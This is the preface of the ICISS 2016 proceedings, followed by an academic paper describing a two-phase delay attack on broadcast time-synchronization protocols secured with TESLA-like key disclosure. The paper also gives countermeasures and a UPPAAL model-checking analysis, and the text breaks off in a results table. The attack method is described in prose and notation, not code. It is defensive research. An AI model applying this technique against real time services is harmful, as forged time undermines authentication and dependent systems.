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Preface

This volume contains the papers presented at the 12th International Conference on
Information Systems Security (ICISS 2016), held December 16–20, 2016, in Jaipur,
India. The conference was started in 2005 to cater to cyber security research in India.
Since then it has evolved into an attractive forum internationally for researchers in
academia, industry, and government to disseminate their latest research results in
information and systems security.

ICISS 2016 continued that trend. This year, we received 196 submissions from 17
different countries on 30 different subtopics of interest in information security. The
papers were reviewed by a Program Committee (PC) of 67 internationally renowned
researchers. After a rigorous review process, during which each paper received multiple
reviews, a total of 24 full papers and eight short papers were accepted. We thank the
authors of the 196 papers for their contributions, without which this conference would
not have been possible. We are very grateful to the PC members and external reviewers
who put in enormous efforts in reviewing and selecting the papers. Without their hard
work, this conference would not have been a success.

One of the hallmarks of the ICISS conference series is the high-quality
plenary/invited presentations. This year we were fortunate to have five eminent
speakers give invited presentations: Patrick McDaniel (Pennsylvania State University),
V.S. Subrahmanian (University of Maryland, College Park), Ahmad-Reza Sadeghi
(Technische Universität Darmstadt), Rinku Dewri (University of Denver), and Jeremías
Sauceda (EnSoft Corp). We are very thankful to the invited speakers, who agreed to
present at the conference coming from far-off places in mid-December. The conference
included several tutorials on various topics in cyber security, as well as short talks to
facilitate discussions on emerging topics. We would like to thank the tutorial speakers
for their time and efforts.

We thank all the members of the Organizing Committee for making all the
arrangements. We are grateful to MNIT, Jaipur, for all the support they provided. We
would like to thank the architects of EasyChair for providing a highly configurable
conference management system. The entire process of submission, refereeing, and
e-meeting of the PC for the paper selection was done through the EasyChair system.

Last but not least, we gratefully acknowledge Springer for sponsoring the ICISS
Best Paper Awards starting with this year’s conference. A special thanks to Alfred
Hofmann of Springer for not only readily agreeing to publish the conference pro-
ceedings in the LNCS series, but also helping institute this award. Thanks go to his
team and, in particular, Anna Kramer for preparing the proceedings meticulously and in
time for the conference.

December 2016 Indrajit Ray
Mauro Conti
V. Kamakoti
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An Attack Possibility on Time Synchronization
Protocols Secured with TESLA-Like Mechanisms

Kristof Teichel1(B), Dieter Sibold1, and Stefan Milius2

1 Physikalisch-Technische Bundesanstalt,
Bundesallee 100, 38116 Braunschweig, Germany

kristof.teichel@ptb.de
2 Chair for Theoretical Computer Science,

Friedrich-Alexander Universität Erlangen-Nürnberg,
Martensstr. 3, 91058 Erlangen, Germany

Abstract. In network-based broadcast time synchronization, an impor-
tant security goal is integrity protection linked with source authenti-
cation. One technique frequently used to achieve this goal is to secure
the communication by means of the TESLA protocol or one of its vari-
ants. This paper presents an attack vector usable for time synchroniza-
tion protocols that protect their broadcast or multicast messages in this
manner. The underlying vulnerability results from interactions between
timing and security that occur specifically for such protocols. We propose
possible countermeasures and evaluate their respective advantages. Fur-
thermore, we discuss our use of the UPPAAL model checker for security
analysis and quantification with regard to the attack and countermea-
sures described, and report on the results obtained. Lastly, we review
the susceptibility of three existing cryptographically protected time syn-
chronization protocols to the attack vector discovered.

Keywords: Security protocols · Broadcast · Time synchronization
protocols · TESLA · Security analysis · UPPAAL

1 Introduction

Time synchronization protocols based on broadcast or multicast play an impor-
tant role in distributed computer networks such as sensor networks [24]. In many
cases, protection of time synchronization packets is indispensable in order to
guarantee the integrity and authenticity of time information; this is especially
true in open environments like the internet. In general, the performance of time
synchronization protocols decreases due to latencies caused by computational
operations, in particular by cryptographic operations. This decrease in perfor-
mance needs to be considered in the design of security measures (see e.g. [16]).
The Timed Efficient Stream Loss-tolerant Authentication (TESLA) protocol and
its variants [8,10,17–19] rely on symmetric cryptography and use delayed disclo-
sure of keys to acquire the asymmetric properties that are desired for broadcast

c© Springer International Publishing AG 2016
I. Ray et al. (Eds.): ICISS 2016, LNCS 10063, pp. 3–22, 2016.
DOI: 10.1007/978-3-319-49806-5 1



4 K. Teichel et al.

communication. They thus fulfill the special security requirements for broad-
cast time synchronization and are employed by multiple time synchronization
protocols. The fact that delayed disclosure requires the participants to agree on
a schedule creates a challenging interaction between the security mechanisms
and the time synchronization process. In this paper, we discuss the security of
time synchronization broadcast associations secured via variants of the TESLA
protocol, particularly with respect to this interaction. We highlight a specific
attack vector that an adversary can follow to circumvent the security measures
of such associations and to deliver false timing information to a participant.
We give a generalized description of the attack vector and use it on a minimal
example protocol for illustration. We also discuss feasible countermeasures that
can either make the attack theoretically impossible (which requires a significant
effort, possibly requiring a change in the communication structure) or mitigate
the attack by making its execution practically impossible. Next we present a
model in UPPAAL [2] that allows the analysis of the behavior of the protocol
participants’ clocks during an attack; this model also allows the assessment of
the effectiveness of the countermeasures discussed. In addition, we investigate
the extent to which specific existing time synchronization protocol specifications
might be vulnerable to the attack vector discovered. One of the intentions of this
paper is to facilitate discussion about the attack vector, and to supply a basis
for possible further analysis.

The remainder of this paper is structured as follows: Sect. 2 provides an
overview of the two main approaches to time synchronization (unicast-type
and broadcast-type communication) and of the usual security measures that
each approach entails. Section 3 defines the notation used throughout the paper,
discusses the underlying assumptions and defines a Minimal Example Proto-
col (MEP) for illustration in later sections. Section 4 shows the attack vector
on broadcast-type time synchronization protocols that have been secured with
TESLA-like mechanisms, exemplified by means of the MEP. In Sect. 5, we dis-
cuss a selection of possible countermeasures against the attack vector shown.
Section 6 presents our automated analysis in UPPAAL and provides its results;
these concern, on the one hand, quantification of the parameters that allow
the attack to happen and, on the other hand, the effectiveness of some of the
countermeasures discussed in previous sections. Section 7 presents three exam-
ples in which TESLA-like mechanisms are employed to secure broadcast-type
time synchronization: Network Time Protocol (NTP) secured by Network Time
Security (NTS) [23], TinySeRSync [24], and Agile Secure Time Synchronization
(ASTS) [27]. This section gives an assessment on how robust those protocols are
against the attack vector under discussion. Finally, Sect. 8 concludes the paper.

2 Time Synchronization Security

2.1 Main Synchronization Techniques

There are two general methods for time synchronization [26]: using one-way
time transfer and using two-way time transfer. Figure 1 depicts typical message
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Fig. 1. Schematic depiction of typical message exchanges that are used for time syn-
chronization between Alice and Bob. The left diagram depicts one-way synchronization,
while the right diagram depicts two-way synchronization.

exchanges for these two kinds of transfer. Although there are exceptions, net-
work protocols for time synchronization typically use two-way transfer when
they employ unicast-type communication (one sender, one receiver), whereas
they use one-way transfer when they employ broadcast-type communication
(one sender, multiple receivers). The exchange of time synchronization proto-
col packets between the nodes involved is accompanied by a delivery delay δ
whose characteristics depend on the underlying network. If one-way time trans-
fer is used (Fig. 1, left diagram), messages are transmitted only from the time
server to the time client. In this case, the delivery delay has to be estimated and
the estimate has to be applied to the time offset between server and client. If
two-way time transfer is used (Fig. 1, right diagram), messages are exchanged
mutually between a client and a server. This offers more information on the
delay of the transfer messages (it is bounded by the round trip of the message
exchange), and allows elimination of the delay dynamically, under the assump-
tion that the network delay is symmetric for the two directions, i.e., that ξ = 1/2
in the figure.

2.2 Securing Time Synchronization Protocols

Since, for the most part, the content of time synchronization protocol packets
is not secret, any form of confidentiality or secrecy is usually not considered a
goal for any part of the communication (except for key exchange messages). A
goal that is generally considered essential is packet integrity, linked with strong
source authentication. Reference [16] contains a discussion about security goals
in time synchronization contexts.

For securing unicast-type time synchronization content, most specifications
use symmetric key cryptography. Some of them use standard shared key proce-
dures, forcing the time server to keep an individual key for each client association.
An example of this is the symmetric-key authentication procedure of the NTP,
which was first defined for NTP Version 3 [13]. Other specifications mostly try
to circumvent the need for the server to memorize the shared key, either by
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enabling the server to regenerate the shared key [11,22] or by having the server
encrypt its full association state and distribute it to the appropriate client [5].
Besides symmetric key techniques, external security measures such as MACsec,
IPsec, and (D)TLS are candidates for securing time synchronization protocol
packets [6,16]. It is also possible to use asymmetric cryptography for the cre-
ation of signatures for time synchronization traffic, although this comes at the
cost of significant overhead and is therefore often excluded as a possibility [16].
In the remainder of this work, we forego further detail on securing unicast-type
time synchronization traffic, since our focus is on attacking a particular scheme
for securing broadcast-type time synchronization.

For securing broadcast-type time synchronization messages, the specifications
generally use different techniques than those used in the unicast case. Although
broadcast-type time synchronization might seem like an application for classical
asymmetric cryptography, the computational cost is often an essential argument
against it. Instead, specifications often apply the TESLA protocol [18] or one
of its variants [8,17]. This class of specifications (the entirety of which we call
“TESLA-like mechanisms”) achieves asymmetric properties while using purely
symmetric cryptography. They can be used for securing broadcast-type time
synchronization either natively for a newly specified protocol [24,27] or as an
addition to existing protocols [22]. Typically, the symmetric cryptographic mea-
sures are hash-based message authentication codes (MACs), which have a very
low computational cost. The asymmetric properties are achieved by using a pre-
defined schedule for usage and disclosure of keys: The sender attaches to each
packet a MAC generated with a key that has not yet been disclosed and is thus
known only to the sender itself at that point in time. A receiver buffers a packet
for later validation of the included MAC. At a later time, the sender discloses
the key, enabling the receivers to start the validation of the buffered MACs. For
the scheme to work, it a receiver must be sure that the key used to generate a
received packet has not been disclosed; otherwise, the MAC and therefore the
whole packet may have been generated by an adversary. To this end, a prede-
fined time schedule is used: time is partitioned into intervals in advance. Each
time interval is associated with a key which is obtained in reverse order from a
one-way key chain. For details on this, we recommend that the reader to either
consult Reference [18] or study the way that keys are generated in the Mini-
mal Example Protocol in Sect. 3. Because TESLA-like mechanisms are based on
releasing messages on a pre-determined schedule, they require the client to have
its clock loosely synchronized with the server’s in order to establish the required
security property. Loose synchronization is important as an initial requirement,
which is typically met by performing time synchronization exchanges during
the bootstrapping of the broadcast message stream. Such prior time synchro-
nization exchanges are usually secured by means of methods other than the
TESLA-like mechanism; these methods usually have a higher overhead, either
computationally or in terms of communication bandwidth. However, the security
of any TESLA-like scheme is based on the assumption that any client’s clock is
loosely synchronized to that of the server not only initially, but that it keeps the
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necessary degree of synchronization throughout the whole communication. At
the same time, the content of the messages that are secured directly influences
the degree of synchronization of a client’s clock to the server’s clock. This creates
a strong interdependency between clock synchronization and security, which is
the basis for the attack described in Sect. 4.

3 Minimal Example Protocol

In this section, we define the Minimal Example Protocol (MEP), which is used for
illustration in later sections. When correctly applied, it provides the clients with
guarantees for packet integrity, linked with strong source authentication. Before
we present the protocol’s steps, we supply some essential protocol notation.

The agent names Alice, Bob, and Mallory are representative of a client,
server, and attacker, respectively. In short form, the client, Alice, is denoted
as A, the server, Bob, is denoted as B, and the attacker, Mallory, is denoted
as M . The clock of a participant X is denoted by CX and CX(t) denotes the
value that clock reads at time t. Furthermore, the expression Adj(CX, δ) denotes
the process responsible for adjusting the clock CX to compensate for a reported
offset of amount δ from a reliable time synchronization source. The binary oper-
ator || is used to represent the concatenation of messages. We assume that
there is a fixed cryptographic hash function h that all participants have agreed
on using. For a given key value K and message m, the expression MAC[K](m)
stands for the keyed hash message authentication code using the hash function h
mentioned above, computed over m and with K as the key.

Generation of key chain

K0 K1
f

. . .
f

Kn−1
f

Kn
f

K1

f

. . . Kn−1

f

Kn

f

| | | | |
I1 . . . In−1 In

Course of time and key usage

Fig. 2. Depiction of the generation of the one-way key chain for TESLA-like mecha-
nisms.

Below, we present the protocol steps of the MEP, which help with the expla-
nation of the attack in Sect. 4, and also serve to illustrate possible countermea-
sures in Sect. 5. We assume that Alice wants to synchronize her clock CA to
Bob’s reference clock CB . For simplification, we also assume that Bob’s refer-
ence clock is perfect, i.e., that for any absolute time value t we have CB(t) = t.
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Additionally, we assume that for a chosen number n of intervals, Bob has gen-
erated a one-way key chain as follows (a graphic representation of this scheme
can be seen in Fig. 2):
1. He has generated a key Kn randomly.
2. He has then applied a one-way function f to generate Ki = fn−i(Kn), for all

values i with 0 ≤ i ≤ n − 1.
3. He has applied another one-way function f ′ to generate a chain of MAC

keys K ′
i = f ′(Ki), for 1 ≤ i ≤ n.

Furthermore, we assume that Alice has received the following set of TESLA
parameters in a way that guarantees that they are the same values that Bob
uses:
– the starting time s1 of the first interval I1,
– the uniform duration L of all time intervals,
– the disclosure delay d, denoting the number of intervals between the usage

and disclosure of a key in the chain,
– the base key K0 for the one-way key chain, and
– the one-way functions f and f ′.

Additionally, we assume that there is a constant delay Δ for messages traveling
from Bob to Alice and that Alice has precisely estimated Δ.1

We define the MEP as follows: The time server, Bob, sends a broadcast-
type packet Pi at the starting time si of each interval Ii. Such a packet is
constructed by defining Pi = i || CB(si) || MAC[K ′

i](CB(si)) || Ki−d, where for
all cases i − d ≤ 0, a predefined “empty” value is used instead of Ki−d.

When Alice receives Pi at time ri, she first checks the timeliness of Pi. In
the MEP, she does this by simply checking the inequality CA(ri) − Δ < si+1, in
which CA(ri)−Δ represents the assumed sending time of Pi. If Alice has verified
the timeliness of a packet Pi, she saves Pi together with the value CA(ri) of her
clock at the reception time of Pi. An additional action that Alice takes upon
receipt of any packet Pi is to check whether the disclosed key Ki−d is a valid
key (whenever it is not the empty value). She can do this by using the one-way
function f to check Ki−d against an already verified key, for example K0 (in this
example, she verifies the equality K0 = f i−d(Ki−d)). When Alice has verified a
key Ki−d, she can then use it to derive K ′

i−d. With this, she can try and verify the
integrity of Pi−d (recall that Pi−d, together with the timestamp value CA(ri−d),
was stored beforehand, given that its timeliness was verified at reception time).
For the verification of a packet Pi−d’s integrity, Alice simply verifies that her cal-
culation of the message authentication code MAC[K ′

i−d](CB(si)) agrees with the
MAC value included in Pi−d. If Alice has verified the integrity of a packet Pi−d,
she calculates the difference δi−d = CA(ri−d) − (CB(si−d) + Δ) and then starts
the process Adj(CA, δi−d). For the purpose of this minimal example protocol,
we assume that Adj(CA, δi−d) simply sets the clock CA back by δi−d.
1 To model Δ as factually constant in the network simplifies the analysis. Assuming

that Alice treats it as constant makes sense because, as long as she only has one-way
time synchronization communication data available, she cannot reliably determine
or compensate for varying network delays.
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4 The Attack Vector

Before we go on to describe the attack, we first present the attacker model. We
assume that there is exactly one attacker2 (Mallory) and that she complies with
the Dolev-Yao attacker model [4]. This gives her the following capabilities:

– She can overhear and intercept any message that is sent on the network. In
particular, she can prevent delivery of any message in its original form.

– She can synthesize messages by inventing new values (secret keys or nonces
are assumed to be unguessable), by assembling tuples from known values, by
disassembling known tuples into their components, and by using any operator
with any values (including keys) as long as they are in her knowledge.

– She can send messages to any agent on the network, pretending to possess
any identity she chooses. However, it is still possible to verify authorship of a
message by cryptographic means, through appropriate use of secrets.

– One possible combined application of the abilities mentioned above is that
Mallory can delay the delivery of a message by first preventing it from being
delivered and later replaying it. This possibility should be highlighted in the
context of time synchronization, since performing this technique (called “delay
attack” or “pulse delay attack”) can degrade the performance of time synchro-
nization and is very simple to perform [7,16].

It should be noted that the Dolev-Yao attacker model is very permissive,
much more so than attacker models used elsewhere, for example in the recent
work [3] about attacks on a specific implementation of the NTP protocol. The
attacker model was chosen to account for the generic applicability of the attack
vector, as well as to accommodate the fact that we intended to do a formal analy-
sis with a model checker such as UPPAAL [2]. Thus, our model is susceptible
to the well-known state-explosion problem; in our experience, modeling more
aspects of the network, to say nothing of cryptographic mechanisms, greatly
increases the state space size.

In order to successfully perform the attack, Mallory performs the following
phases. Phase 1 aims to cause enough of an offset between Alice’s and Bob’s
clocks that it is possible for Alice to believe that a key is still undisclosed, while
in reality, Bob has already disclosed it. Phase 1 comprises several steps:

1. Mallory starts by choosing an interval i1 and by consistently delaying packets
from Bob’s TESLA-secured broadcast stream, starting with Pi1 . She delays
them by a delay d1 such that Alice still accepts them as timely, i.e., such
that CA(si1 + Δ + d1) ∈ Ii1 .

2. Mallory continues this until the delaying of these packets has taken an effect
on Alice’s clock (this will take at least until the key for Pi1 has been disclosed
and this packet has been successfully verified). The expected effect is to set
Alice’s clock back by an additional delay d2 > 0.

2 This assumption is made for simplification. The assumed situation is equivalent to
a situation where several attackers are cooperating, or to a situation where one
attacker is being helped by one or more dishonest protocol participants [25].
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3. After the effect of the first delay has appeared, Mallory delays another stream
of packets, beginning with Pi2 . Due to adjustments to Alice’s clock because
of the delay added to the time synchronization packets Pi1 , Pi1+1, . . . , Pi2−1,
the timeframe in which Alice will accept Pi2 as timely has increased by d2.
Hence, Mallory is able to delay the stream of packets beginning with Pi2 by
an amount d1 + d2, which is strictly greater than d1.3

4. The procedure described in Step 3 is iterated further, resulting in ever larger
possible delays. These delays in turn lead to ever larger offsets between
Alice’s and Bob’s clocks, and therefore to ever larger timeframes during which
Alice still accepts packets as timely. At some point, the offset surpasses the
value (d − 1) · L, where L is the length of the time intervals, and d is the
disclosure delay as defined for the TESLA scheme.

When the offset between Alice’s and Bob’s clocks is larger than (d−1)·L, Phase 1
is finished, and Mallory switches to Phase 2 of the attack. There is now sufficient
time to intercept a packet using a disclosed key from Bob, to forge a packet based
on that key, and to relay the forged packet to Alice fast enough that Alice still
accepts it as timely. Using this technique, Mallory is now able to successfully
pretend to be Alice’s time server, Bob. The security gained by using the TESLA
protocol on the time synchronization traffic is therefore compromised.

We now go through the procedure of the attack, supplying specifics for an
application of it to the MEP, where d = 2 is chosen for simplicity. We start with
the steps for Phase 1 (see also Fig. 3 for an illustration).

– For Step 1, Mallory starts with the packet P1, delaying it by d1 = 2
3 · L.

– For Step 2, she continues this for P2 and P3. This triggers an effect upon the
arrival of P3: Alice extracts K1, successfully validates it, derives K ′

1, and uses
it to successfully validate the MAC included in P1. As a consequence, she sets
her clock CA back by the amount d2 = d1 = 2

3 · L.
– For Step 3, Mallory delays the packets starting with P4 by the increased

amount d1 + d2 = 4
3 · L. It should be noted that, because CA was set back,

Alice still accepts these packets as timely, even though they arrive more than
one interval length after their sending time.

– Step 4 is conveniently short in our given example, as the offset surpasses the
value (d − 1)L = L even after the arrival of P6.

For Phase 2, Mallory can use the resulting overlap intervals in which Bob’s
and Alice’s clocks have an offset of more than one interval. She can intercept
all packets starting from P7, blocking them from being delivered. When Bob
sends P9 (which includes K7), Alice still believes to be in time interval I7. At this
point, Mallory can read K7, derive K ′

7 and invent a bogus packet Q7, complete
with a valid MAC using K ′

7 as its key. She has a timeframe of 2
3 · L to do this

and deliver Q7 to Alice, who will then still accept it as timely. If she keeps this
technique up for P8 and P9, she can disclose the intercepted (correct) key K7

3 Note that the value of d2 is unknown to Mallory. However, she is able to estimate it
from her knowledge of the time synchronization mechanism.
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Fig. 3. Schematic description of Phase 1 of the attack, with d = 2 chosen.

to Alice in a believable way. Alice will then validate the bogus packet Q7 and
adjust her clock according to the bogus time values that it might carry.

The attack relies purely on the interdependency of clocks and cryptography
that is specific to time synchronization protocols which are secured with TESLA-
like mechanisms. There are no weaknesses in the preparation stage needed for
the attack to work. In particular, it can be assumed that the client, Alice, and the
server, Bob, have clocks which are initially synchronized to a specified degree; the
attack works even if this initial synchronization is impossible to disrupt. Also,
it can be assumed that the broadcast schedule for a TESLA-like mechanism
(Reference [18] provides some detail) has been exchanged securely; the attack
works even if this exchange is impossible to disrupt.

Note that, in the MEP, we chose the mechanism of bluntly “hard-setting”
the absolute value for the actual adjustment of the clock mostly for its simplic-
ity of presentation. Many time synchronization protocols will use a more refined
mechanism. For example, the NTP will try to make clock adjustments using
only frequency corrections, using increased frequency if the clock is behind its
reference clock and decreased frequency if it is ahead. It will set the absolute
clock value only if the network communication implies large offsets persistently
for a long period of time [14,15]. In addition to the differences between how
protocol specifications describe clock adjustment, some specifications (such as
the one for PTP) only provide abstract concepts for reading and setting clocks,
leaving the technical details open. In such cases, the specific technical processes
for clock adjustment depend on the particular implementation. However, using
means of clock adjustment other than hard-setting or having restrictions on when
hard-setting may occur can only delay the effect of an attacker’s manipulation
for a certain amount of time. Eventually, even large offsets will always be cor-
rected if they are reported persistently (see Option 5 in Sect. 5 and the related
discussions).
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5 Discussion of Countermeasures

We now look at methods which might mitigate or counter the attack described in
Sect. 4. Let us first consider techniques which do not change the protocol itself,
but some aspect of the channel(s) via which it is used.

Option 1: Alice can try to mitigate her vulnerability to the attack by select-
ing multiple channels via which she synchronizes her clock. The approaches
in this direction range from just picking multiple time servers [12] to using
multiple network paths in order to reach the same time server via different
channels [21].

A disadvantage of Option 1 is that Mallory “only” needs to perform the same
attack on all the channels via which Alice synchronizes her clock to a time
source. However, the difficulty of Mallory’s task is proportional to the number
of channels Alice uses; in practice, this might prevent Mallory from successfully
completing the attack. An advantage of Option 1 worth mentioning is that it
is very easy to implement in a modular fashion: the respective secured time
synchronization protocol simply needs to be instantiated multiple times and run
via the different channels.

Option 2: Another way of defending against the attack is to enforce the confi-
dentiality of the time synchronization traffic, e.g. by means of full encryption
of all packets (see, for example, Sect. 5.8 of [16] for some discussion about
confidentiality in the context of time synchronization).

Ideally, if Mallory cannot identify the packets she needs to delay, she cannot
perform Phase 1 of the attack. Additionally, she may also not be able to execute
Phase 2 under perfect confidentiality, because she would be unable to extract
Bob’s disclosed keys. However, it should be noted that keeping time synchro-
nization traffic confidential is not as simple as merely encrypting the pack-
ets, as metadata already provides a great deal of information and Mallory can
mount attacks even with incomplete information. Additionally, confidentiality in
a broadcast setting would require either a group key solution or asymmetric cryp-
tography. A group key approach is ineffective if Mallory finds a way to join the
group. Asymmetric cryptography contradicts the requirement of low computa-
tional cost, which is the main advantage of employing TESLA-like mechanisms.

In contrast to Options 1 and 2, which work purely by changing the time syn-
chronization protocol’s underlying channel(s), the options below employ modi-
fications to the protocol message flow to defend against the attack.

Option 3: One way of employing changes to the protocol flow is to include a
cryptographically secured unicast exchange between Alice and Bob in order
for Alice to ask, explicitly or implicitly, whether a certain key from the TESLA
key chain has already been disclosed. We call this a timeliness confirmation
exchange.
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As a minimum, the exchange should be a two-way transmission initiated by Alice.
For an overview of how such an exchange might work, we consider the following
example: Alice’s timeliness confirmation request TCA consists of a value indicat-
ing that she wants to ask about the key Ki (in this case, she could just send i)
and Bob’s response TCB also consists of this value in the case where the key is
yet undisclosed and consists of a standard value of −1 otherwise. The desired
outcome here is that Alice gets a guarantee that, at a time later than t3, a given
key Ki has not yet been disclosed. If this holds true, she can deduce that, at the
reception time t2 of Pi, the key had also not yet been disclosed, meaning that the
packet arrived in a timely fashion. This example shows the main advantage of
the option discussed; including a timeliness confirmation exchange breaks down
the question of broadcast packet timeliness to a pure ordering of messages, which
can be judged by the client without additional assumptions. Thus, the timeliness
confirmation exchange enables the client to verify timeliness without even refer-
ring to a local clock. This prevents Phase 2 of the attack from being executable.
There are also disadvantages to such an exchange. In most contexts, adding a
secured unicast message exchange would defy the purpose of using a TESLA-like
mechanism in the first instance, because it removes one of the key advantages of
TESLA-like mechanisms – specifically, that a key exchange for each server-client
association is not required. However, as with Option 4, it should be mentioned
that specifications may already support secure unicast communication for other
purposes, in which case the addition of a unicast exchange would not be as costly.
Furthermore, the resulting message exchange pattern fits very well with some
existing time synchronization protocols, in particular with the Precision Time
Protocol (PTP) [9].

Option 4: Another way of changing the protocol flow as a defense is to regularly
request time synchronization from the server via alternative communication,
which has to be secured in order to provide additional reliability.

Such auxiliary time synchronization mitigates the effect of Phase 1 of the attack
because the gradually introduced offset is negated. Most specifications that rely
on TESLA-like mechanisms have some method of achieving initial time synchro-
nization, which can be applied as an alternative communication channel.

Option 5: In order to mitigate the attack, it also helps if regulations are enforced
for the clock adjustment mechanism that limit the amount of offset that can
be maliciously introduced during Phase 1. Plausibility checks can be used for
this purpose, as well as ignoring measured offsets that are above the specified
upper bounds.

By itself, this option can only delay the time by which Mallory is able to switch
from Phase 1 to Phase 2. It can, however, keep a TESLA-like mechanism prov-
ably secure over a certain period of time. This option can therefore also be used
to more efficiently utilize other options, namely Option 4 or 3, as it provides
better guidelines for the frequency in which these options need to be applied.
To explore this issue further, we introduce a parameter Dmax which represents
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the maximum amount of offset that Mallory can additionally introduce over the
course of one interval by using delay attacks as described in Phase 1 of the
attack. This parameter is assumed to be simplified in the sense that it is already
adjusted for values like the existing offset between the participants’ clocks before
the interval in question (caused by Mallory or other influences), the frequency
error of Alice’s clock, and fluctuations in the network delay. Under this assump-
tion, we get inequalities 0 < Dmax ≤ L.

A disadvantage of both Options 3 and 4 is that inserting auxiliary commu-
nication into a broadcast-based protocol might represent a significant change
to the communication model, making these options significantly more intricate
to adopt than Option 1 or 2. On the other hand, Options 3 and 4 have the
advantage that they can provide complete protection from Phase 2 of the attack
described in Sect. 4. For this purpose, it is necessary to additionally regulate the
configuration values (specifically the number of intervals and interval length of
the TESLA-like mechanism, as well as aspects of clock adjustment as discussed
under Option 5) of the employed protocol in such a way that it makes reaching
Phase 2 of the attack very difficult or even impossible.

For the automated analysis presented in Sect. 6, we have chosen to include
Options 3 and 5 in the model. The model could easily be adjusted to allow
Option 1 to be included as well, but we did not pursue this path because we
found the security gains for that option to be much harder to quantify, and
decided it was not worth the additional state space growth. Modeling Option 2
went against our decision to eliminate cryptographic aspects from the model.
Option 3 is not included in the model because, for the state space growth it
causes, its practical relevance is doubtful due to the fact that, if a protocol does
not already include a timeliness confirmation exchange, it takes a great deal of
effort to integrate it retroactively.

6 The UPPAAL Model

In this section, we present an automated analysis of the attack applied against
the MEP. The analysis was performed with UPPAAL [2], a model checker based
on the theory of timed automata. UPPAAL models a system as a network of
such automata running in parallel, with some additional features added to its
modeling language such as bounded integer variables that are part of the system
state. It enables users to check properties specified in a query language that is a
simplified version of TCTL (Timed Computation Tree Logic [1]). The obtained
results are, as of yet, available only for undesirably large ratios of small-step
delays to interval lengths (currently, a ratio of 1/9 was achievable on our main
machine). However, on the obtainable scale, the results support that the attack
is performable under the right parameters; they also support that a combination
of Options 4 and 5 from the possible countermeasures listed in Sect. 5 does in
fact protect against the attack if the parameters are chosen carefully. Phase 1 of
the attack does not require the insertion of false or modified messages, nor does
it depend on the cryptography applied. Instead, it uses only timing-dependent
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attacks, enabling the attacker to circumvent cryptographic security completely in
Phase 2. This fact is one reason for the choice of UPPAAL as the automated tool
for the analysis: UPPAAL is highly able to deal with timing-related questions.
Furthermore, this fact is the justification for the use of a number of abstractions
and simplifications to specifically tailor the model to the attack described in
Sect. 4, focusing the analysis on the switch from Phase 1 to Phase 2. This was
done in order to keep the state space smaller. The first important resulting
simplification is that the model does not take Mallory’s capabilities of inserting
false messages into account. The second is the exclusion of any cryptographic
functions from the model. An additional simplification to the model is that the
client’s clock value is modeled as the drift from the server’s clock, so that its
range is not directly proportional to longer run times of the system.

Our UPPAAL model is a version of the MEP that is extended with measures
corresponding to countermeasure Options 3 and 5. The system models one server
and one client (the number of clients could easily be made configurable at the
expense of significant state space growth), as well as the attacker’s capability
of delaying a packet’s delivery. The model ignores all cryptographic aspects of
the MEP or its extensions, such as the one-way functions f and f ′, as well as
the chain of keys Ki and even the MAC function. It instead assumes that these
aspects work as described and only treats the other aspects, namely the par-
ticipants’ clocks CB and CA (more accurately, the drift CA − CB is modeled),
the adjustment process Adj(CA, δ) as well as a number of configurable parame-
ters. These parameters include the interval length L, the disclosure delay d, the
assumed constant network delay Δ, the maximum number umax of unicast rep-
etitions, the maximum number nmax of broadcast repetitions between unicast
repetitions, and finally the parameter Dmax introduced in Sect. 5. The model
is split into nine separate automata: a very simple one for advancing the clock
values, one for each of the participants’ clocks, one for each of the participants’
behavior models (in the server’s case there are two of these, one for broadcast
and one for unicast) and one for each of the three existing message types: unicast
time request, unicast time response, and the broadcast time message. To review
our UPPAAL model in detail, please download its source code4.

The first goal of the UPPAAL analysis was to show that there exist conditions
under which the attack is feasible against the MEP. The second goal was to
show that a combination of countermeasures (Options 4 and 5 in particular) can
protect the MEP from the attack. The main queries we evaluated for different
parameter sets were the following (where I(X) represents the number of the
interval that participant X believes themselves to be in and where j represents
the number of intervals that the protocol has been running for):

A� I(A) ≥ I(B) − d + 1, (1)

E♦ j = (d−1)·L/Dmax + d ∧ I(A) ≤ I(B) − d, (2)

4 The UPPAAL source code is available for download here: http://www8.cs.fau.de/
∼milius/UPPAAL%20Model%20(TESLA-Like%20Mechanisms).zip.

http://www8.cs.fau.de/{~}milius/UPPAAL%20Model%20(TESLA-Like%20Mechanisms).zip
http://www8.cs.fau.de/{~}milius/UPPAAL%20Model%20(TESLA-Like%20Mechanisms).zip
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A� j < (d−1)·L/Dmax + d =⇒ I(A) > I(B) − d. (3)

Informally, the queries can be read as follows:

– Query 1: “The interval Alice believes herself to be in is always at most d − 1
behind that which Bob is in.”

– Query 2: “There is a state in which the interval that Alice believes herself to
be in is at least d behind that which Bob is in and this state happens after at
least (d−1)·L/Dmax + d intervals have passed.”

– Query 3: “For all states in which less than (d−1)·L/Dmax + d intervals have
passed, the interval that Alice believes herself to be in is at most d−1 behind
that which Bob is in.”

For nmax < (d−1)·L/Dmax + d, Queries 1 and 3 were always affirmed if the
check was completed, while Query 2 was always (trivially) negated. For nmax ≥
(d−1)·L/Dmax + d, on the other hand, Query 1 was always negated if the check
was completed, while Queries 2 and 3 were always affirmed. This implies that
Phase 1 of the attack can be completed in the model if and only if the protocol
runs for at least (d−1)·L/Dmax + d intervals and that this represents a sharp
bound. On the one hand, these results affirm that the attack is feasible against
the unmodified MEP. On the other hand, they also affirm that a combination
of countermeasures 4 and 5 can protect against the attack if the combination
of nmax, L and Dmax is chosen correctly.

The checks were performed on a computer running a 64-bit version of Win-
dows 7 on an Intel i5 dual core at 2.6 GHz, with 8 GB of RAM. To date, we have
only been able to run the command line verifier tool of UPPAAL under Win-
dows, where it can apparently use only 2 GB of RAM. Therefore, 2 GB of RAM
represents a bottleneck for our checks under the requirement of precise runtime
and memory usage logs. Under these conditions, the 1/9 ratio of Dmax to L was
the best that allowed all query checks to finish. Performance data can be seen
in Fig. 4. The relevance of the analysis of the protocol to practical applications
will increase depending on how small the ratio of small-step delays to interval
lengths can be made. We are working on refining the model further in order to
obtain better results in this area; an attempt to also model the server’s clock to
be more independent from the overall run time of the system is among the next
measures to be tried in order to improve the ratio.

7 Evaluation of Existing Specifications

We discuss three specifications that use TESLA for securing broadcast-type
time synchronization traffic: NTS-secured NTP [23], TinySeRSync [24], and
ASTS [27]. Without providing detailed descriptions of these protocols, we pro-
vide a sketch of how TESLA-like mechanisms are employed and to what extent
they might be susceptible to the attack described in Sect. 4. For all three speci-
fications, we constructed scenarios with certain settings that make them robust
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Query Ratio Runtime in s Memory Usage in MB
1 29.95 134
2 1/6 27.14 244
3 29.14 271
1 211.37 713
2 1/9 192.77 1,520
3 196.05 1,586
1 286.59 1,091
